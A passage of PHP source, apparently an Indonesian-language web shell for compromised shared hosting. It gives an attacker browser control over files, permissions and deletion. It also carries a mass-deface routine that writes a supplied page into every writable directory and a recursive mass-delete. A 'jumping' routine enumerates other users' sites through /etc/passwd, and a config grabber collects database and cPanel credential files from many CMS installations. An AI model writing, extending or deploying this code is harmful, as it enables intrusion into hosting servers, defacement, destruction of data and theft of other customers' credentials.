count($_FILES[\'file\'][\'name\']);\r\n\t\tfor($i=0;$i<$jumlah;$i++){\r\n\t\t\t$filename = $_FILES[\'file\'][\'name\'][$i];\r\n\t\t\t\t$up = @copy($_FILES[\'file\'][\'tmp_name\'][$i], "$dir/".$filename);\r\n\t\t}\r\n\t\tif($jumlah < 2){\r\n\t\t\tif($up){\r\n\t\t\t\t$swa = "Success";\r\n\t\t\t\t$text = "Success Upload $filename";\r\n\t\t\t\tswall($swa,$text,$dir);\r\n\t\t\t}else{\r\n\t\t\t\t$swa = "Error";\r\n\t\t\t\t$text = "Failed Upload File";\r\n\t\t\t\tswall($swa,$text,$dir);\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\t$swa = "Success";\r\n\t\t\t$text = "Success Upload $jumlah File";\r\n\t\t\tswall($swa,$text,$dir);\r\n\t\t}\r\n\t}\r\n}\r\nfunction chmodFile($dir,$file,$nfile){\r\n\techo "<form method=\'POST\'>\r\n\t\t<h5>Chmod File : $nfile </h5>\r\n\t\t<div class=\'form-group input-group\'>\r\n\t\t\t<input type=\'text\' name=\'perm\' class=\'form-control\' value=\'".substr(sprintf(\'%o\', fileperms($_GET[\'file\'])), -4)."\'>\r\n\t\t\t<input type=\'submit\' class=\'btn btn-danger form-control\' value=\'Chmod\'>\r\n\t\t</div>\r\n\t</form>";\r\n\tif(isset($_POST[\'perm\'])){\r\n\t\tif(@chmod($_GET[\'file\'],$_POST[\'perm\'])){\r\n\t\t\techo \'<font color="lime">Change Permission Success</font><br/>\';\r\n\t\t}else{\r\n\t\t\techo \'<font color="white">Change Permission Failed</font><br/>\';\r\n\t\t}\r\n\t}\r\n\texit;\r\n}\r\nfunction forFile($dir,$imgfile){\r\n\techo "<h4>Image File Create File </h4>\r\n\t<form method=\'POST\'>\r\n\t\t<div class=\'input-group\'>\r\n\t\t\t<input type=\'text\' class=\'form-control\' name=\'nama_file[]\' placeholder=\'Name File...\'>\r\n\t\t\t<div class=\'input-group-prepend\'>\r\n\t\t\t\t<div class=\'input-group-text\'><a id=\'add_input\'><i class=\'fa fa-plus\'></i></a></div>\r\n\t\t\t</div>\r\n\t\t</div><br/>\r\n\t\t<div id=\'output\'></div>\r\n\t\t<textarea name=\'isi_file\' class=\'form-control\' rows=\'13\' placeholder=\'Fill in the Content\'></textarea><br/>\r\n\t\t<input type=\'submit\' class=\'btn btn-info btn-block\' name=\'bikin\' value=\'Submit\'>\r\n\t</form>";\r\n\tif (isset($_POST[\'bikin\'])){\r\n\t\t$name = $_POST[\'nama_file\'];\r\n\t\t$isi_file = $_POST[\'isi_file\'];\r\n\t\tforeach ($name as $nama_file){\r\n\t\t\t$handle = @fopen("$nama_file", "w");\r\n\t\t\tif($isi_file){\r\n\t\t\t\t$for = @fwrite($handle, $isi_file);\r\n\t\t\t}else{\r\n\t\t\t\t$for = $handle;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ($for){\r\n\t\t\t$swa = "Success";\r\n\t\t\t$text = "Success Creating File";\r\n\t\t\tswall($swa,$text,$dir);\r\n\t\t}else{\r\n\t\t\t$swa = "Error";\r\n\t\t\t$text = "Failed To Create File";\r\n\t\t\tswall($swa,$text,$dir);\r\n\t\t}\r\n\t}\r\n}\r\nfunction view($dir,$file,$nfile,$imgfile){\r\n\techo \'[ <a class="active" href="?dir=\'.$dir.\'&aksi=view&file=\'.$file.\'">See</a> ] [ <a href="?dir=\'.$dir.\'&aksi=edit&file=\'.$file.\'">Edit</a> ] [ <a href="?dir=\'.$dir.\'&aksi=rename&file=\'.$file.\'">Rename</a> ] [ <a href="?dir=\'.$dir.\'&aksi=hapusf&file=\'.$file.\'">Delete</a> ]\r\n\t<h5>\'.$imgfile.\' See File : \'.$nfile.\'</h5>\r\n\t<textarea rows="13" class="form-control" disabled="">\'.htmlspecialchars(@file_get_contents($file)).\'</textarea><br/>\';\r\n}\r\nfunction editFile($dir,$file,$nfile,$imgfile){\r\n\techo \'[ <a href="?dir=\'.$dir.\'&aksi=view&file=\'.$file.\'">See</a> ] [ <a class="active" href="?dir=\'.$dir.\'&aksi=edit&file=\'.$file.\'">Edit</a> ] [ <a href="?dir=\'.$dir.\'&aksi=rename&file=\'.$file.\'">Rename</a> ] [ <a href="?dir=\'.$dir.\'&aksi=hapusf&file=\'.$file.\'">Delete</a> ]\';\r\n\techo "<form method=\'POST\'>\r\n\t\t<h5>$imgfile Edit File : $nfile</h5>\r\n\t\t<textarea rows=\'13\' class=\'form-control\' name=\'isi\'>".htmlspecialchars(@file_get_contents($file))."</textarea><br/>\r\n\t\t\t<button type=\'sumbit\' class=\'btn btn-info btn-block\' name=\'edit_file\'>Update</button>\r\n\t</form>";\r\n\tif(isset($_POST[\'edit_file\'])){\r\n\t\t$updt = fopen("$file", "w");\r\n\t\t$hasil = fwrite($updt, $_POST[\'isi\']);\r\n\t\tif ($hasil){\r\n\t\t\t$swa = "Success";\r\n\t\t\t$text = "Success Update File";\r\n\t\t\tswall($swa,$text,$dir);\r\n\t\t}else{\r\n\t\t\t$swa = "Error";\r\n\t\t\t$text = "Failed Update File";\r\n\t\t\tswall($swa,$text,$dir);\r\n\t\t}\r\n\t}\r\n}\r\nfunction renameFile($dir,$file,$nfile,$imgfile){\r\n\techo \'[ <a href="?dir=\'.$dir.\'&aksi=view&file=\'.$file.\'">See</a> ] [ <a href="?dir=\'.$dir.\'&aksi=edit&file=\'.$file.\'">Edit</a> ] [ <a class="active" href="?dir=\'.$dir.\'&aksi=rename&file=\'.$file.\'">Rename</a> ] [ <a href="?dir=\'.$dir.\'&aksi=hapusf&file=\'.$file.\'">Delete</a> ]\';\r\n\techo "<form method=\'POST\'>\r\n\t\t<h5>$imgfile Rename File : $nfile</h5>\r\n\t\t<input type=\'text\' class=\'form-control\' name=\'namanew\' placeholder=\'New File Name\' value=\'$nfile\'><br/>\r\n\t\t<button type=\'sumbit\' class=\'btn btn-info btn-block\' name=\'rename_file\'>Rename</button>\r\n\t</form>";\r\n\tif(isset($_POST[\'rename_file\'])){\r\n\t\t$lama = $file;\r\n\t\t$baru = $_POST[\'namanew\'];\r\n\t\trename( $baru, $lama);\r\n\t\tif(file_exists($baru)){\r\n\t\t\t$swa = "Success";\r\n\t\t\t$text = "New $baru Name Used";\r\n\t\t\tswall($swa,$text,$dir);\r\n\t\t}else{\r\n\t\t\tif(rename( $lama, $baru)){\r\n\t\t\t\t$swa = "Success";\r\n\t\t\t\t$text = "Success Changing name to $baru";\r\n\t\t\t\tswall($swa,$text,$dir);\r\n\t\t\t}else{\r\n\t\t\t\t$swa = "Error";\r\n\t\t\t\t$text = "Failed Change Name";\r\n\t\t\t\tswall($swa,$text,$dir);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\nfunction hapusFile($dir,$file,$nfile){\r\n\techo \'[ <a href="?dir=\'.$dir.\'&aksi=view&file=\'.$file.\'">See</a> ] [ <a href="?dir=\'.$dir.\'&aksi=edit&file=\'.$file.\'">Edit</a> ] [ <a href="?dir=\'.$dir.\'&aksi=rename&file=\'.$file.\'">Rename</a> ] [ <a class="active" href="?dir=\'.$dir.\'&aksi=hapusf&file=\'.$file.\'">Delete</a> ]\';\r\n\techo "<div class=\'card card-body text-center text-dark mb-4\'>\r\n\t\t<p>Are you sure you want to delete : $nfile</p>\r\n\t\t<form method=\'POST\'>\r\n\t\t\t<a class=\'btn btn-danger btn-block\' href=\'?dir=$dir\'>Disagree</a>\r\n\t\t\t<input type=\'submit\' name=\'ya\' class=\'btn btn-Success btn-Success btn-block\' value=\'Agree\'>\r\n\t\t</form>\r\n\t</div>";\r\n\tif ($_POST[\'ya\']){\r\n\t\tif (unlink($file)){\r\n\t\t\t$swa = "Success";\r\n\t\t\t$text = "Success Deleting File";\r\n\t\t\tswall($swa,$text,$dir);\r\n\t\t}else{\r\n\t\t\t$swa = "Error";\r\n\t\t\t$text = "Failed Deleting File";\r\n\t\t\tswall($swa,$text,$dir);\r\n\t\t}\r\n\t}\r\n}\r\nfunction chmodFolder($dir,$ndir){\r\n\techo "<form method=\'POST\'>\r\n\t\t<h5>Chmod Folder : $ndir </h5>\r\n\t\t<div class=\'form-group input-group\'>\r\n\t\t\t<input type=\'text\' name=\'perm\' class=\'form-control\' value=\'".substr(sprintf(\'%o\', fileperms($_GET[\'dir\'])), -4)."\'>\r\n\t\t\t<input type=\'submit\' class=\'btn btn-danger form-control\' value=\'Chmod\' name=\'chmo\'>\r\n\t\t</div>\r\n\t</form>";\r\n\tif(isset($_POST[\'chmo\'])){\r\n\t\tif(@chmod($_GET[\'dir\'],$_POST[\'perm\'])){\r\n\t\t\techo \'<font color="lime">Change Permission Success</font><br/>\';\r\n\t\t}else{\r\n\t\t\techo \'<font color="white">Change Permission Failed</font><br/>\';\r\n\t\t}\r\n\t}\r\n\texit;\r\n}\r\nfunction forFolder($dir,$imgfol){\r\n\techo "<h5>$imgfol Create Folder :</h5>\r\n\t<form method=\'POST\'>\r\n\t\t<div class=\'input-group\'>\r\n\t\t\t<input type=\'text\' class=\'form-control\' name=\'nama_folder[]\' placeholder=\'Folder Name...\'>\r\n\t\t\t<div class=\'input-group-prepend\'>\r\n\t\t\t\t<div class=\'input-group-text\'><a id=\'add_input1\'><i class=\'fa fa-plus\'></i></a></div>\r\n\t\t\t</div>\r\n\t\t</div><br/>\r\n\t\t<div id=\'output1\'></div>\r\n\t\t<input type=\'submit\' class=\'btn btn-info btn-block\' name=\'for\' value=\'for\'>\r\n\t</form>";\r\n\tif (isset($_POST[\'for\'])){\r\n\t\t$nama = $_POST[\'nama_folder\'];\r\n\t\tforeach ($nama as $nama_folder){\r\n\t\t\t$folder = preg_replace("([^\\w\\s\\d\\-_~,;:\\[\\]\\(\\].]|[\\.]{2,})", \'\', $nama_folder);\r\n\t\t\t$fd = @mkdir ($folder);\r\n\t\t}\r\n\t\tif ($fd){\r\n\t\t\t$swa = "Success";\r\n\t\t\t$text = "Success Creating Folder";\r\n\t\t\tswall($swa,$text,$dir);\r\n\t\t}else{\r\n\t\t\t$swa = "Error";\r\n\t\t\t$text = "Failed to Create Folder";\r\n\t\t\tswall($swa,$text,$dir);\r\n\t\t}\r\n\t}\r\n}\r\nfunction renameFolder($dir,$ndir,$imgfol){\r\n\techo "[ <a href=\'?dir=".$dir."&aksi=rename_folder\' class=\'active\'>Rename</a> ] [ <a href=\'?dir=".$dir."&aksi=hapus_folder\'>Delete</a> ] \r\n\t<h5>$imgfol Rename Folder : $ndir </h5>\r\n\t<form method=\'POST\'>\r\n\t\t<input type=\'text\' class=\'form-control\' name=\'namanew\' placeholder=\'Masukan Nama Baru...\' value=\'$nama\'><br/>\r\n\t\t<button type=\'sumbit\' class=\'btn btn-info btn-block\' name=\'ganti\'>Ganti!!</button><br/>\r\n\t</form>";\r\n\tif(isset($_POST[\'ganti\'])){\r\n\t\t$baru = htmlspecialchars($_POST[\'namanew\']);\r\n\t\t$ubah = rename($dir, "".dirname($dir)."/".$baru."");\r\n\t\tif($ubah){\r\n\t\t\t$swa = "Success";\r\n\t\t\t$text = "Success Name Changed";\r\n\t\t\t$dir = dirname($dir);\r\n\t\t\tswall($swa,$text,$dir);\r\n\t\t}else{\r\n\t\t\t$swa = "Error";\r\n\t\t\t$text = "Failed Changing Name";\r\n\t\t\t$dir = dirname($dir);\r\n\t\t\tswall($swa,$text,$dir);\r\n\t\t}\r\n\t}\r\n\texit;\r\n}\r\nfunction deleteFolder($dir,$ndir){\r\n\techo "[ <a href=\'?dir=".$dir."&aksi=rename_folder\'>Rename</a> ] [ <a href=\'?dir=".$dir."&aksi=hapus_folder\' class=\'active\'>Delete</a> ] \r\n\t<div class=\'card card-body text-center text-dark mb-4\'>\r\n\t\t<p>Are you sure you want to delete: $ndir ?</p>\r\n\t\t<form method=\'POST\'>\r\n\t\t\t<a class=\'btn btn-danger btn-block\' href=\'?dir=".dirname($dir)."\'>Disagree</a>\r\n\t\t\t<input type=\'submit\' name=\'ya\' class=\'btn btn-Success btn-block\' value=\'Agree\'>\r\n\t\t</form>\r\n\t</div><br/>";\r\n\tif ($_POST[\'ya\']){\r\n\t\tif(is_dir($dir)){\r\n\t\t\tif(is_writable($dir)){\r\n\t\t\t\t@rmdir($dir);\r\n\t\t\t\t@exe("rm -rf $dir");\r\n\t\t\t\t@exe("rmdir /s /q $dir");\r\n\t\t\t\t$swa = "Success";\r\n\t\t\t\t$text = "Delete Successfully";\r\n\t\t\t\t$dir = dirname($dir);\r\n\t\t\t\tswall($swa,$text,$dir);\r\n\t\t\t}else{\r\n\t\t\t\t$swa = "Error";\r\n\t\t\t\t$text = "Delete Failed";\r\n\t\t\t\t$dir = dirname($dir);\r\n\t\t\t\tswall($swa,$text,$dir);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\texit;\r\n}\r\nfunction aksiMasdef($dir,$file,$imgfol,$imgfile){\r\n\tfunction tipe_massal($dir,$namafile,$isi_script){\r\n\t\tif(is_writable($dir)){\r\n\t\t\t$dira = scandir($dir);\r\n\t\t\tforeach($dira as $dirb){\r\n\t\t\t\t$dirc = "$dir/$dirb";\r\n\t\t\t\t$lokasi = $dirc.\'/\'.$namafile;\r\n\t\t\t\tif($dirb === \'.\'){\r\n\t\t\t\t\tfile_put_contents($lokasi, $isi_script);\r\n\t\t\t\t}elseif($dirb === \'..\'){\r\n\t\t\t\t\tfile_put_contents($lokasi, $isi_script);\r\n\t\t\t\t}else{\r\n\t\t\t\t\tif(is_dir($dirc)){\r\n\t\t\t\t\t\tif(is_writable($dirc)){\r\n\t\t\t\t\t\t\techo "Done > $lokasi\\n";\r\n\t\t\t\t\t\t\tfile_put_contents($lokasi, $isi_script);\r\n\t\t\t\t\t\t\t$masdef = tipe_massal($dirc,$namafile,$isi_script);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfunction tipe_biasa($dir,$namafile,$isi_script){\r\n\t\tif(is_writable($dir)){\r\n\t\t\t$dira = scandir($dir);\r\n\t\t\tforeach($dira as $dirb){\r\n\t\t\t\t$dirc = "$dir/$dirb";\r\n\t\t\t\t$lokasi = $dirc.\'/\'.$namafile;\r\n\t\t\t\tif($dirb === \'.\'){\r\n\t\t\t\t\tfile_put_contents($lokasi, $isi_script);\r\n\t\t\t\t}elseif($dirb === \'..\'){\r\n\t\t\t\t\tfile_put_contents($lokasi, $isi_script);\r\n\t\t\t\t}else{\r\n\t\t\t\t\tif(is_dir($dirc)){\r\n\t\t\t\t\t\tif(is_writable($dirc)){\r\n\t\t\t\t\t\t\techo "Done > $dirb/$namafile\\n";\r\n\t\t\t\t\t\t\tfile_put_contents($lokasi, $isi_script);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tif($_POST[\'start\']){\r\n\t\techo "[ <a href=\'?dir=$dir\'>Kembali</a> ]\r\n\t\t<textarea class=\'form-control\' rows=\'13\' disabled=\'\'>";\r\n\t\t\tif($_POST[\'tipe\'] == \'mahal\'){\r\n\t\t\t\ttipe_massal($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);\r\n\t\t\t}elseif($_POST[\'tipe\'] == \'murah\'){\r\n\t\t\t\ttipe_biasa($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);\r\n\t\t\t}\r\n\t\techo "</textarea><br/>";\r\n\t}else{\r\n\t\techo "<form method=\'post\'>\r\n\t\t\t<div class=\'text-center\'>\r\n\t\t\t\t<h5>Tipe :</h5>\r\n\t\t\t\t<input id=\'toggle-on\' class=\'toggle toggle-left\' name=\'tipe\' value=\'murah\' type=\'radio\' checked>\r\n\t\t\t\t<label for=\'toggle-on\' class=\'butn\'>Main</label>\r\n\t\t\t\t<input id=\'toggle-off\' class=\'toggle toggle-right\' name=\'tipe\' value=\'mahal\' type=\'radio\'>\r\n\t\t\t\t<label for=\'toggle-off\' class=\'butn\'>Mass</label>\r\n\t\t\t</div> \r\n\t\t\t<h5>$imgfol Location :</h5>\r\n\t\t\t<input type=\'text\' name=\'d_dir\' value=\'$dir\' class=\'form-control\'><br>\r\n\t\t\t<h5>$imgfile Name of The File :</h5>\r\n\t\t\t<input type=\'text\' name=\'d_file\' placeholder=\'Put Name Of File\' class=\'form-control\'><br/>\r\n\t\t\t<h5>$imgfile Deface Script :</h5>\r\n\t\t\t<textarea name=\'script\' class=\'form-control\' rows=\'13\' placeholder=\'Put Your Deface Page\'></textarea><br/>\r\n\t\t\t<input type=\'submit\' name=\'start\' value=\'Mass Deface\' class=\'btn btn-danger btn-block\'>\r\n\t\t</form>";\r\n\t}\r\n\texit;\r\n}\r\nfunction aksiMasdel($dir,$file,$imgfol,$imgfile){\r\n\tfunction hapus_massal($dir,$namafile){\r\n\t\tif(is_writable($dir)){\r\n\t\t\t$dira = scandir($dir);\r\n\t\t\tforeach($dira as $dirb){\r\n\t\t\t\t$dirc = "$dir/$dirb";\r\n\t\t\t\t$lokasi = $dirc.\'/\'.$namafile;\r\n\t\t\t\tif($dirb === \'.\'){\r\n\t\t\t\t\tif(file_exists("$dir/$namafile")){\r\n\t\t\t\t\t\tunlink("$dir/$namafile");\r\n\t\t\t\t\t}\r\n\t\t\t\t}elseif($dirb === \'..\'){\r\n\t\t\t\t\tif(file_exists("".dirname($dir)."/$namafile")){\r\n\t\t\t\t\t\tunlink("".dirname($dir)."/$namafile");\r\n\t\t\t\t\t}\r\n\t\t\t\t}else{\r\n\t\t\t\t\tif(is_dir($dirc)){\r\n\t\t\t\t\t\tif(is_writable($dirc)){\r\n\t\t\t\t\t\t\tif($lokasi){\r\n\t\t\t\t\t\t\t\techo "$lokasi > Terhapus\\n";\r\n\t\t\t\t\t\t\t\tunlink($lokasi);\r\n\t\t\t\t\t\t\t\t$massdel = hapus_massal($dirc,$namafile);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif($_POST[\'start\']){\r\n\t\techo "[ <a href=\'?dir=$dir\'>Kembali</a> ]\r\n\t\t<textarea class=\'form-control\' rows=\'13\' disabled=\'\'>";\r\n\t\t\thapus_massal($_POST[\'d_dir\'], $_POST[\'d_file\']);\r\n\t\techo "</textarea><br/>";\r\n\t}else{\r\n\t\techo "<form method=\'post\'>\r\n\t\t\t<h5>$imgfol Location :</h5>\r\n\t\t\t<input type=\'text\' name=\'d_dir\' value=\'$dir\' class=\'form-control\'><br/>\r\n\t\t\t<h5>$imgfile Name File :</h5>\r\n\t\t\t<input type=\'text\' name=\'d_file\' placeholder=\'Put the File to Delete\' class=\'form-control\'><br/>\r\n\t\t\t<input type=\'submit\' name=\'start\' value=\'Submit\' class=\'btn btn-danger form-control\'>\r\n\t</form>";\r\n\t}\r\n\texit;\r\n}\r\nfunction aksiJump($dir,$file,$ip){\r\n\t$i = 0;\r\n\techo "<div class=\'card container\'>";\r\n\tif(preg_match("/hsphere/", $dir)){\r\n\t\t$urls = explode("\\r\\n", $_POST[\'url\']);\r\n\t\tif(isset($_POST[\'jump\'])){\r\n\t\t\techo "<pre>";\r\n\t\t\tforeach($urls as $url){\r\n\t\t\t\t$url = str_replace(array("http://","www."), "", strtolower($url));\r\n\t\t\t\t$etc = "/etc/passwd";\r\n\t\t\t\t$f = fopen($etc,"r");\r\n\t\t\t\twhile($gets = fgets($f)){\r\n\t\t\t\t\t$pecah = explode(":", $gets);\r\n\t\t\t\t\t$user = $pecah[0];\r\n\t\t\t\t\t$dir_user = "/hsphere/local/home/$user";\r\n\t\t\t\t\tif(is_dir($dir_user) === true){\r\n\t\t\t\t\t\t$url_user = $dir_user."/".$url;\r\n\t\t\t\t\t\tif(is_readable($url_user)){\r\n\t\t\t\t\t\t\t$i++;\r\n\t\t\t\t\t\t\t$jrw = "[<font color=green>R</font>] <a href=\'?dir=$url_user\'><font color=#0046FF>$url_user</font></a>";\r\n\t\t\t\t\t\t\tif(is_writable($url_user)){\r\n\t\t\t\t\t\t\t\t$jrw = "[<font color=green>RW</font>] <a href=\'?dir=$url_user\'><font color=#0046FF>$url_user</font></a>";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\techo $jrw."<br>";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(!$i == 0){ \r\n\t\t\t\techo "<br>Total ada $i KAMAR di $ip";\r\n\t\t\t}\r\n\t\t\techo "</pre>";\r\n\t\t}else{\r\n\t\t\techo \'<center><form method="post">\r\n\t\t\t\tList Domains: <br>\r\n\t\t\t\t<textarea name="url" class="form-control">\';\r\n\t\t\t\t$fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");\r\n\t\t\t\twhile($getss = fgets($fp)){\r\n\t\t\t\t\techo $getss;\r\n\t\t\t\t}\r\n\t\t\t\techo \'</textarea><br>\r\n\t\t\t\t\t <input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block">\r\n\t\t\t</form></center>\';\r\n\t\t}\r\n\t}elseif(preg_match("/vhosts/", $dir)){\r\n\t\t$urls = explode("\\r\\n", $_POST[\'url\']);\r\n\t\tif(isset($_POST[\'jump\'])){\r\n\t\t\techo "<pre>";\r\n\t\t\tforeach($urls as $url){\r\n\t\t\t\t$web_vh = "/var/www/vhosts/$url/httpdocs";\r\n\t\t\t\tif(is_dir($web_vh) === true){\r\n\t\t\t\t\tif(is_readable($web_vh)){\r\n\t\t\t\t\t\t$i++;\r\n\t\t\t\t\t\t$jrw = "[<font color=green>R</font>] <a href=\'?dir=$web_vh\'><font color=#0046FF>$web_vh</font></a>";\r\n\t\t\t\t\t\tif(is_writable($web_vh)){\r\n\t\t\t\t\t\t\t$jrw = "[<font color=green>RW</font>] <a href=\'?dir=$web_vh\'><font color=#0046FF>$web_vh</font></a>";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\techo $jrw."<br>";\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(!$i == 0){\r\n\t\t\t\techo "<br>Total ada $i Kamar Di $ip";\r\n\t\t\t}\r\n\t\t\techo "</pre>";\r\n\t\t}else{\r\n\t\t\techo \'<center><form method="post">\r\n\t\t\t\tList Domains: <br>\r\n\t\t\t\t<textarea name="url" class="form-control">\';\r\n\t\t\t\tbing("ip:$ip");\r\n\t\t\t\techo \'</textarea><br>\r\n\t\t\t\t<input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block">\r\n\t\t\t</form></center>\';\r\n\t\t}\r\n\t}else{\r\n\t\techo "<pre>";\r\n\t\t$etc = fopen("/etc/passwd", "r") or die("<font color=red>Can\'t read /etc/passwd</font><br/>");\r\n\t\twhile($passwd = fgets($etc)){\r\n\t\t\tif($passwd == \'\' || !$etc){\r\n\t\t\techo "<font color=red>Can\'t read /etc/passwd</font><br/>";\r\n\t\t\t}else{\r\n\t\t\t\tpreg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);\r\n\t\t\t\tforeach($user_jumping[1] as $user_pro_jump){\r\n\t\t\t\t\t$user_jumping_dir = "/home/$user_pro_jump/public_html";\r\n\t\t\t\t\tif(is_readable($user_jumping_dir)){\r\n\t\t\t\t\t\t$i++;\r\n\t\t\t\t\t\t$jrw = "[<font color=green>R</font>] <a href=\'?dir=$user_jumping_dir\'><font color=#0046FF>$user_jumping_dir</font></a>";\r\n\t\t\t\t\t\tif(is_writable($user_jumping_dir)){\r\n\t\t\t\t\t\t\t$jrw = "[<font color=green>RW</font>] <a href=\'?dir=$user_jumping_dir\'><font color=#0046FF>$user_jumping_dir</font></a>";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\techo $jrw;\r\n\t\t\t\t\t\tif(function_exists(\'posix_getpwuid\')){\r\n\t\t\t\t\t\t\t$domain_jump = file_get_contents("/etc/named.conf");\r\n\t\t\t\t\t\t\tif($domain_jump == \'\'){\r\n\t\t\t\t\t\t\t\techo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\tpreg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);\r\n\t\t\t\t\t\t\t\tforeach($domains_jump[1] as $dj){\r\n\t\t\t\t\t\t\t\t\t$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));\r\n\t\t\t\t\t\t\t\t\t$user_jumping_url = $user_jumping_url[\'name\'];\r\n\t\t\t\t\t\t\t\t\tif($user_jumping_url == $user_pro_jump){\r\n\t\t\t\t\t\t\t\t\t\techo " => ( <u>$dj</u> )<br>";\r\n\t\t\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\techo "<br>";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(!$i == 0){\r\n\t\t\techo "<br>Total ada $i kamar di $ip";\r\n\t\t}\r\n\t\techo "</pre>";\r\n\t}\r\n\techo "</div><br/>";\r\n\texit;\r\n}\r\nfunction aksiConfig($dir,$file){\r\n\tif($_POST){\r\n\t\t$passwd = $_POST[\'passwd\'];\r\n\t\tmkdir("angkol_config", 0777);\r\n\t\t$isi_htc = "Options allnRequire NonenSatisfy Any";\r\n\t\t$htc = fopen("angkol_config/.htaccess","w");\r\n\t\tfwrite($htc, $isi_htc);\r\n\t\tpreg_match_all(\'/(.*?):x:/\', $passwd, $user_config);\r\n\t\tforeach($user_config[1] as $user_con){\r\n\t\t\t$user_config_dir = "/home/$user_con/public_html/";\r\n\t\t\tif(is_readable($user_config_dir)){\r\n\t\t\t\t$grab_config = array(\r\n\t\t\t\t\t"/home/$user_con/.my.cnf" => "cpanel",\r\n\t\t\t\t\t"/home/$user_con/public_html/config/koneksi.php" => "Lokomedia",\r\n\t\t\t\t\t"/home/$user_con/public_html/forum/config.php" => "phpBB",\r\n\t\t\t\t\t"/home/$user_con/public_html/sites/default/settings.php" => "Drupal",\r\n\t\t\t\t\t\t"/home/$user_con/public_html/config/settings.inc.php" => "PrestaShop",\r\n\t\t\t\t\t"/home/$user_con/public_html/app/etc/local.xml" => "Magento",\r\n\t\t\t\t\t"/home/$user_con/public_html/admin/config.php" => "OpenCart",\r\n\t\t\t\t\t"/home/$user_con/public_html/application/config/database.php" => "Ellislab",\r\n\t\t\t\t\t"/home/$user_con/public_html/vb/includes/config.php" => "Vbulletin",\r\n\t\t\t\t\t"/home/$user_con/public_html/includes/config.php" => "Vbulletin",\r\n\t\t\t\t\t"/home/$user_con/public_html/forum/includes/config.php" => "Vbulletin",\r\n\t\t\t\t\t"/home/$user_con/public_html/forums/includes/config.php" => "Vbulletin",\r\n\t\t\t\t\t"/home/$user_con/public_html/cc/includes/config.php" => "Vbulletin",\r\n\t\t\t\t\t"/home/$user_con/public_html/inc/config.php" => "MyBB",\r\n\t\t\t\t\t"/home/$user_con/public_html/includes/configure.php" => "OsCommerce",\r\n\t\t\t\t\t"/home/$user_con/public_html/shop/includes/configure.php" => "OsCommerce",\r\n\t\t\t\t\t"/home/$user_con/public_html/os/includes/configure.php" => "OsCommerce",\r\n\t\t\t\t\t"/home/$user_con/public_html/oscom/includes/configure.php" => "OsCommerce",\r\n\t\t\t\t\t"/home/$user_con/public_html/products/includes/configure.php" => "OsCommerce",\r\n\t\t\t\t\t"/home/$user_con/public_html/cart/includes/configure.php" => "OsCommerce",\r\n\t\t\t\t\t"/home/$user_con/public_html/inc/conf_global.php" => "IPB",\r\n\t\t\t\t\t"/home/$user_con/public_html/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/wp/test/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/blog/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/beta/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/portal/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/site/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/wp/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/WP/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/news/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/wordpress/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/test/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/demo/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/home/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/v1/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/v2/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/press/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/new/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/blogs/wp-config.php" => "Wordpress",\r\n\t\t\t\t\t"/home/$user_con/public_html/configuration.php" => "Joomla",\r\n\t\t\t\t\t"/home/$user_con/public_html/blog/configuration.php" => "Joomla",\r\n\t\t\t\t\t"/home/$user_con/public_html/submitticket.php" => 